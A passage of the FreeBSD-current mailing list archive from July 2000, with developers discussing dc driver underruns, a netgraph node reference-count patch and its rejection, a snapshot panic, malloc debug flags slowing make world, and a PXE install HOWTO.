bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id e6DAAFw17096 for current@freebsd.org; Thu, 13 Jul 2000 03:10:15 -0700 (PDT) Date: Thu, 13 Jul 2000 03:10:15 -0700 From: Alfred Perlstein To: current@freebsd.org Subject: Network install HOWTO available. Message-ID: <20000713031014.P25571@fw.wintelcom.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Ok guys it's a _very_ rough HOWTO, but patches (not comments!) would be appreciated: How to install FreeBSD via Intel's netboot (PXE) http://people.freebsd.org/~alfred/pxe/ enjoy. -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] "I have the heart of a child; I keep it in a jar on my desk." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jul 13 5:44:32 2000 Delivered-To: freebsd-current@freebsd.org Received: from smople.thehub.com.au (smople.thehub.com.au [203.143.240.10]) by hub.freebsd.org (Postfix) with ESMTP id 5D6F637C3B1; Thu, 13 Jul 2000 05:44:17 -0700 (PDT) (envelope-from mckay@thehub.com.au) Received: from dungeon.home (ppp118.dyn249.pacific.net.au [203.143.249.118]) by smople.thehub.com.au (8.9.3/8.9.1) with ESMTP id WAA47102; Thu, 13 Jul 2000 22:44:01 +1000 (EST) Received: from dungeon.home (localhost [127.0.0.1]) by dungeon.home (8.9.3/8.9.3) with ESMTP id WAA05918; Thu, 13 Jul 2000 22:46:10 +1000 (EST) (envelope-from mckay) Message-Id: <200007131246.WAA05918@dungeon.home> To: Stefan Esser Cc: Stephen McKay , Bill Paul , freebsd-current@freebsd.org Subject: dc driver and underruns (was: Strangeness with 4.0-S) References: <200007030749.RAA13446@dungeon.home> <20000704140131.A1734@StefanEsser.FreeBSD.org> <200007041411.AAA18590@dungeon.home> <20000708221341.B2104@StefanEsser.FreeBSD.org> <200007091052.UAA09724@dungeon.home> <20000710194017.A33002@StefanEsser.FreeBSD.org> In-Reply-To: <20000710194017.A33002@StefanEsser.FreeBSD.org> from Stefan Esser at "Mon, 10 Jul 2000 19:40:17 +0200" Date: Thu, 13 Jul 2000 22:46:10 +1000 From: Stephen McKay Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Monday, 10th July 2000, Stefan Esser wrote: >On 2000-07-09 20:52 +1000, Stephen McKay wrote: >> On Saturday, 8th July 2000, Stefan Esser wrote: >> >>>Oh, there are renegotiations after each overrun ??? >> The code at the point that an underrun is detected is: >> >> printf("dc%d: TX underrun -- ", sc->dc_unit); >> if (DC_IS_DAVICOM(sc) || DC_IS_INTEL(sc)) >> dc_init(sc); >> >> After that, it sets the new threshold, or store and forward mode. That >> conditional (which resets the DE-500 style cards I own), looks deliberate >> since it is so specific. Either that, or Bill was being conservative. >> When I get a chance, I will experiment with removing it. > >Well, the DE Driver (DEC 21x4x) has (relevant lines marked ***): > > [SNIP: code showing de driver does not reset chip] I've now read the 21143 chip manual from Intel. What the de driver does is illegal (the transmitter must be idle when the threshold is changed). I don't know if it works in practice, the de driver didn't work well for me. What the dc driver does is overkill. I will implement some changes, based on the documentation, and see what happens. Of course, Bill, if you have direct experience that contradicts the documentation (as if I've never seen incorrect doco...) then I'm all ears. I also have a very limited range of test hardware. >I agree, that for chips that need to be completely re-initialized, the >default might be store-and-forward ... >There are so many DEC 21x4x clones, all slightly different, and it seems >that at least a few need the chip reset. There is already a convenient store-and-forward-only flag that is set for one of the supported chips. I propose that this flag be set on all hardware that cannot have the threshold changed without a reset. >> It hides the problem very well for me. I really can't see the tiniest >> of performance loss with store and forward. Maybe it's something that >> only shows up on benchmarks. > >Guess it will show up if you measure latencies (or your application is >doing lots of RPCs). But as soon as there is a cheap 100baseT switch in >the path to the destination, there will be store-and-forward at work ;-) Does anyone here actually measure these latencies? I know for a fact that nothing I've ever done would or could be affected by extra latencies that are as small as the ones we are discussing. Does anybody at all depend on the start-transmitting-before-DMA-completed feature we are discussing? Lastly, some people really want to keep the messages. Is hiding them behind bootverbose enough? Or do I have to add a flag/hint? No, I haven't looked at the new hint system, so I don't know if I should be afraid or not. :-) Stephen. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jul 13 6: 8:30 2000 Delivered-To: freebsd-current@freebsd.org Received: from ckmso1.proxy.att.com (ckmso1.att.com [12.20.58.69]) by hub.freebsd.org (Postfix) with ESMTP id 7E34337C3D3 for ; Thu, 13 Jul 2000 06:08:20 -0700 (PDT) (envelope-from myevmenkin@att.com) Received: from njb140r1.ems.att.com ([135.65.202.58]) by ckmso1.proxy.att.com (AT&T IPNS/MSO-2.2) with ESMTP id JAA19659 for ; Thu, 13 Jul 2000 09:08:17 -0400 (EDT) Received: from njb140bh2.ems.att.com by njb140r1.ems.att.com (8.8.8+Sun/ATTEMS-1.4.1 sol2) id JAA27495; Thu, 13 Jul 2000 09:07:07 -0400 (EDT) Received: by njb140bh2.ems.att.com with Internet Mail Service (5.5.2650.21) id <3NACWXHF>; Thu, 13 Jul 2000 09:08:16 -0400 Message-ID: From: "Yevmenkin, Maksim N, CSCIO" To: "'freebsd-current@freebsd.org'" Subject: possible NETGRAPH/NG_ETHER bug Date: Thu, 13 Jul 2000 09:08:15 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="koi8-r" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello All, i was working on integration of Ethernet TAP driver and NETGRAPH and found strange thing. the problem is that NG_ETHER nodes do not detach correctly when interface is gone. i was taking a very quick look at it, and, it seems to me that we are missing one reference to a node. i think it is ng_name_node/ng_unname pair. quick patch (works for NG_ETHER, but i did not have time to look at all NG_XXXX modules) available at http://home.earthlink.net/~evmax/ng_ether-diffs.tar.gz this problem could, possibly, affect other modules. after patch i was able to: - load Ethernet TAP driver - create several virtual Ethernet interfaces - load NG_ETHER module (and check nodes via ngctl) - unload Ethernet TAP driver (all virtual Ethernet interfaces are gone) - check that all NG_ETHER nodes are gone (via ngctl) - unload NG_ETHER module Thanks, emax To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jul 13 8: 8:22 2000 Delivered-To: freebsd-current@freebsd.org Received: from hurricane.columbus.rr.com (m5.columbus.rr.com [204.210.252.249]) by hub.freebsd.org (Postfix) with ESMTP id B57EF37C14F for ; Thu, 13 Jul 2000 08:08:18 -0700 (PDT) (envelope-from caa@columbus.rr.com) Received: from blizzard.columbus.rr.com ([204.210.252.252]) by hurricane.columbus.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-53939U80000L80000S0V35) with ESMTP id com for ; Thu, 13 Jul 2000 11:08:39 -0400 Received: from columbus.rr.com (dhcp9559163.columbus.rr.com [24.95.59.163]) by blizzard.columbus.rr.com (8.9.3/8.9.3) with ESMTP id LAA13707 for ; Thu, 13 Jul 2000 11:07:20 -0400 (EDT) Received: (from caa@localhost) by columbus.rr.com (8.9.3/8.9.3) id LAA02421 for freebsd-current@FreeBSD.ORG; Thu, 13 Jul 2000 11:08:50 GMT (envelope-from caa) Date: Thu, 13 Jul 2000 11:08:50 +0000 From: Charles Anderson To: FreeBSD Current Subject: mfs errors with current from 07/12/00 Message-ID: <20000713110850.B2320@midgard.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I updated current around 6pm EDT yesterday (7/12/00) now I'm getting mfs_badop[vop_getwritemount] mfs_badop[vop_getwritemount] = 45 every now and again. I've received 10 being up 11 hours. uname -a says FreeBSD midgard.dhs.org 5.0-CURRENT FreeBSD 5.0-CURRENT #0: Wed Jul 12 23:59:08 GMT 2000 toor@midgard.dhs.org:/usr/obj/usr/src/sys/MIDGARD i386 mfs is mounted as tmp with the following from fstab /dev/ad0s2b /tmp mfs rw,nosuid,async,-s262144 0 0 -Charlie -- Charles Anderson caa@columbus.rr.com No quote, no nothin' To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jul 13 8:27: 1 2000 Delivered-To: freebsd-current@freebsd.org Received: from granger.mail.mindspring.net (granger.mail.mindspring.net [207.69.200.148]) by hub.freebsd.org (Postfix) with ESMTP id 2F0C337C1B2; Thu, 13 Jul 2000 08:26:58 -0700 (PDT) (envelope-from tomdean@ix.netcom.com) Received: from ix.netcom.com (sil-wa16-15.ix.netcom.com [207.93.148.143]) by granger.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id LAA22164; Thu, 13 Jul 2000 11:25:53 -0400 (EDT) Received: (from tomdean@localhost) by ix.netcom.com (8.9.3/8.9.3) id IAA08264; Thu, 13 Jul 2000 08:25:49 -0700 (PDT) (envelope-from tomdean@ix.netcom.com) Date: Thu, 13 Jul 2000 08:25:49 -0700 (PDT) Message-Id: <200007131525.IAA08264@ix.netcom.com> X-Authentication-Warning: celebris.tddhome: tomdean set sender to tomdean@ix.netcom.com using -f From: "Thomas D. Dean" To: green@FreeBSD.org Cc: phk@critter.freebsd.dk, freebsd-current@FreeBSD.org In-reply-to: (message from Brian Fundakowski Feldman on Thu, 13 Jul 2000 02:10:05 -0400 (EDT)) Subject: Re: Recent -current Performance Drop? References: Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I turned off the malloc AJ flags, via malloc.conf. It improved 'make world' by something like 17% == mean_aj/mean_AJ. Make World Statistics -current SMP, 2xP133, 96MB RAM, IBM Superstor 9G disk. Lines is the number of lines of output produced by 'make world'. Date Lines Make Time Lines/Minute -------- ----- --------- ------------ 19991018 35281 6h40m16s 88.20 <== malloc aj? 20000401 39490 7h56m18s 82.96 . 20000402 39427 7h28m41s 88.01 . 20000412 39404 7h10m21s 91.64 . 20000621 38679 7h20m20s 87.91 . 20000630 39530 7h56m20s 83.05 <== malloc aj? 20000709 39679 8h40m28s 76.31 <== malloc AJ? 20000710 39568 9h13m46s 71.55 <== malloc AJ? 20000711 41178 9h22m05s 73.27 <== malloc AJ? 20000712 39577 8h03m04s 81.94 <== malloc aj tomdean To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jul 13 8:31:33 2000 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (wandering-wizard.cybercity.dk [212.242.43.150]) by hub.freebsd.org (Postfix) with ESMTP id 584D137C333; Thu, 13 Jul 2000 08:31:26 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id RAA01990; Thu, 13 Jul 2000 17:30:43 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: "Thomas D. Dean" Cc: green@FreeBSD.org, freebsd-current@FreeBSD.org Subject: Re: Recent -current Performance Drop? In-reply-to: Your message of "Thu, 13 Jul 2000 08:25:49 PDT." <200007131525.IAA08264@ix.netcom.com> Date: Thu, 13 Jul 2000 17:30:43 +0200 Message-ID: <1988.963502243@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200007131525.IAA08264@ix.netcom.com>, "Thomas D. Dean" writes: >I turned off the malloc AJ flags, via malloc.conf. It improved 'make >world' by something like 17% == mean_aj/mean_AJ. Make sense, make world is dominated by gcc/cc1 which is doing a lot of malloc/free operations. -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD coreteam member | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jul 13 8:34:30 2000 Delivered-To: freebsd-current@freebsd.org Received: from turtle.looksharp.net (cc360882-a.strhg1.mi.home.com [24.2.221.22]) by hub.freebsd.org (Postfix) with ESMTP id 9A06437C4F0; Thu, 13 Jul 2000 08:34:17 -0700 (PDT) (envelope-from bandix@looksharp.net) Received: from localhost (bandix@localhost) by turtle.looksharp.net (8.9.3/8.9.3) with ESMTP id LAA27077; Thu, 13 Jul 2000 11:34:14 -0400 (EDT) (envelope-from bandix@looksharp.net) Date: Thu, 13 Jul 2000 11:34:14 -0400 (EDT) From: "Brandon D. Valentine" To: Stephen McKay Cc: Stefan Esser , Bill Paul , freebsd-current@FreeBSD.ORG Subject: Re: dc driver and underruns (was: Strangeness with 4.0-S) In-Reply-To: <200007131246.WAA05918@dungeon.home> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 13 Jul 2000, Stephen McKay wrote: >>Guess it will show up if you measure latencies (or your application is >>doing lots of RPCs). But as soon as there is a cheap 100baseT switch in >>the path to the destination, there will be store-and-forward at work ;-) > >Does anyone here actually measure these latencies? I know for a fact >that nothing I've ever done would or could be affected by extra latencies >that are as small as the ones we are discussing. Does anybody at all >depend on the start-transmitting-before-DMA-completed feature we are >discussing? I don't like the idea of removing that feature. Perhaps it should be a sysctl or ifconfig option, but it should definitely remain available. Those minute latencies are critical to those of us who use MPI for complex parallel calculations. Brandon D. Valentine -- bandix at looksharp.net | bandix at structbio.vanderbilt.edu "Truth suffers from too much analysis." -- Ancient Fremen Saying To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jul 13 8:44: 3 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.interware.hu (mail.interware.hu [195.70.32.130]) by hub.freebsd.org (Postfix) with ESMTP id C046037C3FE for ; Thu, 13 Jul 2000 08:43:56 -0700 (PDT) (envelope-from julian@elischer.org) Received: from luanda-36.budapest.interware.hu ([195.70.51.36] helo=jules.elischer.org) by mail.interware.hu with smtp (Exim 3.12 #1 (Debian)) id 13Cl9T-00056C-00; Thu, 13 Jul 2000 17:43:51 +0200 Message-ID: <396DE3A5.167EB0E7@elischer.org> Date: Thu, 13 Jul 2000 08:43:33 -0700 From: Julian Elischer X-Mailer: Mozilla 3.04Gold (X11; I; FreeBSD 5.0-CURRENT i386) MIME-Version: 1.0 To: "Yevmenkin, Maksim N, CSCIO" Cc: "'freebsd-current@freebsd.org'" Subject: Re: possible NETGRAPH/NG_ETHER bug References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I object to these patches. the idea is good but these patches are misguided.. Yevmenkin, Maksim N, CSCIO wrote: > > Hello All, > > i was working on integration of Ethernet TAP driver and NETGRAPH > and found strange thing. the problem is that NG_ETHER nodes do not > detach correctly when interface is gone. i was taking a very quick > look at it, and, it seems to me that we are missing one reference > to a node. i think it is ng_name_node/ng_unname pair. This is quite possible because until recently interfaces could never be removed. Therefore the act of removing a node was really just a case of RESETTING the node. It was not removed. > > quick patch (works for NG_ETHER, but i did not have time to look > at all NG_XXXX modules) available at > > http://home.earthlink.net/~evmax/ng_ether-diffs.tar.gz > > this problem could, possibly, affect other modules. > > after patch i was able to: > - load Ethernet TAP driver > - create several virtual Ethernet interfaces > - load NG_ETHER module (and check nodes via ngctl) > - unload Ethernet TAP driver (all virtual Ethernet interfaces are gone) > - check that all NG_ETHER nodes are gone (via ngctl) > - unload NG_ETHER module it's rathe rude to do this in such an un-nested manner, but yes it would be good for this to work. my comments on you patches follow: ng_base.c Wed Jul 12 22:54:09 2000 *************** *** 632,638 **** if (node->name) { FREE(node->name, M_NETGRAPH); node->name = NULL; ! ng_unref(node); } } --- 632,638 ---- if (node->name) { FREE(node->name, M_NETGRAPH); node->name = NULL; ! node->refs--; } } YUK!!!!! never never never decrement refs without checking that is has not gone to 0. If it has gone to 0 the object MUST be freed.!!!!!!! That is what ng_unref is for. If you do not want it to be freed than you should add a reference which represents the reference that you have to it. That way you can guarantee that it will never go to 0. NEVER EVER EVER subvert a reference count. (you go blind if you do that) *** ng_ether.c.old Wed Jul 12 22:53:38 2000 --- ng_ether.c Wed Jul 12 22:55:41 2000 *************** *** 287,297 **** --- 287,299 ---- if (node == NULL) /* no node (why not?), ignore */ return; /* break all links to other nodes */ + node->flags |= NG_INVALID; IFP2NG(ifp) = NULL; /* detach node from interface */ priv = node->private; /* free node private info */ bzero(priv, sizeof(*priv)); FREE(priv, M_NETGRAPH); node->private = NULL; + ng_unname(node); /* unname node */ ng_unref(node); /* free node itself */ } Ok, so the idea is that the actual underlying interface is going away, and that you want the node to go away too. The correct way is to signal to ng_ether_rmnode() that it SHOULD remove the node. At present this code assumes that the ethernet interface is permenent, and that the ng_ether node should thus also be persistant. What you need is a way for it to distinguish between the case where it should not remove the node, and the case where the interface is doomed, and it should remove the node. A flag somewhere would suffice. It seems to me from a quick look at the code that is in the -current tree, that there is some confusion about device node removal as applied to ethernet interfaces. Archie's changes (when he applies them) will give a clearer picture at to how this should be done. I suggest that you hold off until his patches are added because it will have an effect. It should be done any day now. The way you propose to do it will not meet my design criterea for netgraph. -- __--_|\ Julian Elischer / \ julian@elischer.org ( OZ ) World tour 2000 ;_.---._/ presently in: Budapest v To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jul 13 9:12: 3 2000 Delivered-To: freebsd-current@freebsd.org Received: from ckmso1.proxy.att.com (ckmso1.att.com [12.20.58.69]) by hub.freebsd.org (Postfix) with ESMTP id A609337BB6A for ; Thu, 13 Jul 2000 09:11:45 -0700 (PDT) (envelope-from myevmenkin@att.com) Received: from gab200r1.ems.att.com ([135.37.94.32]) by ckmso1.proxy.att.com (AT&T IPNS/MSO-2.2) with ESMTP id MAA02595; Thu, 13 Jul 2000 12:11:38 -0400 (EDT) Received: from njb140bh2.ems.att.com by gab200r1.ems.att.com (8.8.8+Sun/ATTEMS-1.4.1 sol2) id MAA11331; Thu, 13 Jul 2000 12:13:17 -0400 (EDT) Received: by njb140bh2.ems.att.com with Internet Mail Service (5.5.2650.21) id <3NACXN0N>; Thu, 13 Jul 2000 12:11:38 -0400 Message-ID: From: "Yevmenkin, Maksim N, CSCIO" To: "'Julian Elischer'" Cc: "'freebsd-current@freebsd.org'" Subject: RE: possible NETGRAPH/NG_ETHER bug Date: Thu, 13 Jul 2000 12:11:32 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > I object to these patches. > the idea is good but these patches are misguided.. ok :) i did not say that is an ultimate solution :) i did not even say that they are good :) the only idea behind these patches is to show that there is a _possible_ node reference problem :) that's it :) [...] > Ok, so the idea is that the actual underlying interface > is going away, and that you want the node to go away too. > The correct way is to signal to ng_ether_rmnode() that > it SHOULD remove the node. may be it will be good to have destructor for node as well as shutdown? since we know that node is doomed ng_rmnode will call destructor. shutdown will do just preparation, i.e. cut links etc. in this case it will be possibe to shutdown node without deletion. and if node should gone destructor will call shoudown and then remove node. > At present this code assumes that the ethernet interface > is permenent, and that the ng_ether node should thus also > be persistant. What you need is a way for it to distinguish > between the case where it should not remove the node, and the case > where the interface is doomed, and it should remove the node. > A flag somewhere would suffice. yes, it will work. i can flag node as doomed before calling ng_ether_detach. but anyway i need to remove extra reference in ng_name_node/ng_unname, otherwise ng_unfer won't destroy node :( there will be a lot of them. ng_ctl shows them perfectly. [...] > Archie's changes (when he applies them) > will give a clearer picture at to how this should be done. > I suggest that you hold off until his patches are added because > it will have an effect. It should be done any day now. i will :) thanks, emax To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jul 13 9:15:22 2000 Delivered-To: freebsd-current@freebsd.org Received: from matrix.eurocontrol.fr (matrix.eurocontrol.fr [147.196.254.254]) by hub.freebsd.org (Postfix) with ESMTP id 1371937BB6A for ; Thu, 13 Jul 2000 09:15:14 -0700 (PDT) (envelope-from roberto@eurocontrol.fr) Received: from caerdonn.eurocontrol.fr (caerdonn.eurocontrol.fr [147.196.51.214]) by matrix.eurocontrol.fr (Postfix) with ESMTP id BDA5A5A31; Thu, 13 Jul 2000 18:15:12 +0200 (CEST) Received: by caerdonn.eurocontrol.fr (Postfix, from userid 1193) id 2199C4E5F; Thu, 13 Jul 2000 18:15:08 +0200 (CEST) Date: Thu, 13 Jul 2000 18:15:07 +0200 From: Ollivier Robert To: FreeBSD Current Users' list Cc: mckusick@mckusick.com Subject: snapshot panic Message-ID: <20000713181507.A521@caerdonn.eurocontrol.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i X-Operating-System: FreeBSD 5.0-CURRENT Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I just upgraded my current system (source about 4 hours ago) and tried to snapshot a file system... (kgdb) core-file /var/crash/vmcore.6 IdlePTD 3649536 initial pcb at 2e3d60 panicstr: ffs_balloc: blk too big panic messages: --- --- #0 boot (howto=Cannot access memory at address 0xcced1ad4. ) at ../../kern/kern_shutdown.c:303 303 dumppcb.pcb_cr3 = rcr3(); (kgdb) where #0 boot (howto=Cannot access memory at address 0xcced1ad4. ) at ../../kern/kern_shutdown.c:303 Cannot access memory at address 0xcced1acc. (kgdb) I tried that on /var. magic 11954 time Thu Jul 13 18:07:34 2000 id [ 382d7299 7a0265e2 ] cylgrp dynamic inodes 4.4BSD nbfree 31065 ndir 346 nifree 51790 nffree 299 ncg 16 ncyl 256 size 262144 blocks 258551 bsize 16384 shift 14 mask 0xffffc000 fsize 2048 shift 11 mask 0xfffff800 frag 8 shift 3 fsbtodb 2 cpg 16 bpg 2048 fpg 16384 ipg 3328 minfree 8% optim time maxcontig 7 maxbpg 4096 rotdelay 0ms rps 60 ntrak 1 nsect 4096 npsect 4096 spc 4096 symlinklen 60 trackskew 0 interleave 1 contigsumsize 7 nindir 4096 inopb 128 nspf 4 maxfilesize 1126174852055039 sblkno 8 cblkno 16 iblkno 24 dblkno 232 sbsize 2048 cgsize 4096 cgoffset 1024 cgmask 0xffffffff csaddr 232 cssize 2048 shift 10 mask 0xfffffc00 cgrotor 14 fmod 0 ronly 0 clean 0 flags soft-updates (no rotational position table) Filesystem 1K-blocks Used Avail Capacity Mounted on /dev/da1s1f 517102 19464 456270 4% /var -- Ollivier ROBERT -=- Eurocontrol EEC/ITM -=- Ollivier.Robert@eurocontrol.fr The Postman hits! The Postman hits! You have new mail. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jul 13 9:23:34 2000 Delivered-To: freebsd-current@freebsd.org Received: from axl.ops.uunet.co.za (axl.ops.uunet.co.za [196.31.2.163]) by hub.freebsd.org (Postfix) with ESMTP id 7269537C532 for ; Thu, 13 Jul 2000 09:23:26 -0700 (PDT) (envelope-from sheldonh@axl.ops.uunet.co.za) Received: from sheldonh (helo=axl.ops.uunet.co.za) by axl.ops.uunet.co.za with local-esmtp (Exim 3.15 #1) id 13CllZ-000Lp1-00; Thu, 13 Jul 2000 18:23:13 +0200 From: Sheldon Hearn To: Charles Anderson Cc: FreeBSD Current Subject: Re: mfs errors with current from 07/12/00 In-reply-to: Your message of "Thu, 13 Jul 2000 11:08:50 GMT." <20000713110850.B2320@midgard.dhs.org> Date: Thu, 13 Jul 2000 18:23:13 +0200 Message-ID: <83886.963505393@axl.ops.uunet.co.za> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 13 Jul 2000 11:08:50 GMT, Charles Anderson wrote: > I updated current around 6pm EDT yesterday (7/12/00) now I'm getting > mfs_badop[vop_getwritemount] > mfs_badop[vop_getwritemount] = 45 I've mailed Kirk about these, but if you read his snapshots commit message, they're probably harmless. They certainly didn't seem to be causing any problems. Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jul 13 9:23:40 2000 Delivered-To: freebsd-current@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id 37D8E37C521; Thu, 13 Jul 2000 09:23:33 -0700 (PDT) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id JAA12738; Thu, 13 Jul 2000 09:22:23 -0700 (PDT) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <200007131622.JAA12738@gndrsh.dnsmgr.net> Subject: Re: dc driver and underruns (was: Strangeness with 4.0-S) In-Reply-To: from "Brandon D. Valentine" at "Jul 13, 2000 11:34:14 am" To: bandix@looksharp.net (Brandon D. Valentine) Date: Thu, 13 Jul 2000 09:22:22 -0700 (PDT) Cc: mckay@thehub.com.au (Stephen McKay), se@FreeBSD.ORG (Stefan Esser), wpaul@FreeBSD.ORG (Bill Paul), freebsd-current@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > On Thu, 13 Jul 2000, Stephen McKay wrote: > > >>Guess it will show up if you measure latencies (or your application is > >>doing lots of RPCs). But as soon as there is a cheap 100baseT switch in > >>the path to the destination, there will be store-and-forward at work ;-) > > > >Does anyone here actually measure these latencies? I know for a fact > >that nothing I've ever done would or could be affected by extra latencies > >that are as small as the ones we are discussing. Does anybody at all > >depend on the start-transmitting-before-DMA-completed feature we are > >discussing? > > I don't like the idea of removing that feature. Perhaps it should be a > sysctl or ifconfig option, but it should definitely remain available. > Those minute latencies are critical to those of us who use MPI for > complex parallel calculations. I have to agree here. The store and forward adds an approximate 11uS (by theory under ideal conditions 1500bytes@132MB/s = 11uS, practice actually makes this worse as typical PCI does something less than 100MB/s or 15uS) to a 120uS packet time on the wire (again, ideal, but here given that switches, and infact often cut-through switches, are used for these types of things, ideal and practice are very close.) I don't think these folks, nor myself, are wanting^H^H^H^H^H^H^Hilling to give up 12.5%. -- Rod Grimes - KD7CAX @ CN85sl - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jul 13 9:55:49 2000 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id DAA3B37BF21 for ; Thu, 13 Jul 2000 09:55:40 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id KAA59331; Thu, 13 Jul 2000 10:55:35 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id KAA25243; Thu, 13 Jul 2000 10:55:23 -0600 (MDT) Message-Id: <200007131655.KAA25243@harmony.village.org> To: John Polstra Subject: Re: **HEADS UP** if you used to cvsup the crypto repo from internat ! Cc: brian@Awfulhak.org, current@FreeBSD.ORG In-reply-to: Your message of "Wed, 12 Jul 2000 13:04:44 PDT." <200007122004.NAA56370@vashon.polstra.com> References: <200007122004.NAA56370@vashon.polstra.com> <200007121405.PAA11870@hak.lan.Awfulhak.org> Date: Thu, 13 Jul 2000 10:55:23 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200007122004.NAA56370@vashon.polstra.com> John Polstra writes: : > This is probably a candidate for UPDATING. : : That wouldn't hurt. But it actually affects _all_ branches, I : believe. So in a way, UPDATING doesn't cover enough ground. Does anybody have any text that is better than the following? 20000711: If you used to get your crypto files from internat, AND you used cvsup to get cvs' ,v files, then the latest changes to the source collections will impact you. You will need to remove all the crypto files and start over. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jul 13 10: 4: 5 2000 Delivered-To: freebsd-current@freebsd.org Received: from gatekeeper.isltd.insignia.com (gatekeeper.isltd.insignia.com [195.153.60.130]) by hub.freebsd.org (Postfix) with ESMTP id 11D3E37BF21 for ; Thu, 13 Jul 2000 10:03:55 -0700 (PDT) (envelope-from martin.hopkins@insignia.com) Received: from saracen.isltd.insignia.com (saracen.isltd.insignia.com [193.112.17.171]) by gatekeeper.isltd.insignia.com (8.9.3/8.9.3) with ESMTP id SAA29661; Thu, 13 Jul 2000 18:01:48 +0100 (BST) Received: from localhost.isltd.insignia.com (dhcp17-230.isltd.insignia.com [193.112.17.230]) by saracen.isltd.insignia.com (8.8.4/BSCF-1.2) with SMTP id SAA06502; Thu, 13 Jul 2000 18:01:45 +0100 (BST) From: Martin Hopkins MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14701.62969.243307.506257@localhost.isltd.insignia.com> Date: Thu, 13 Jul 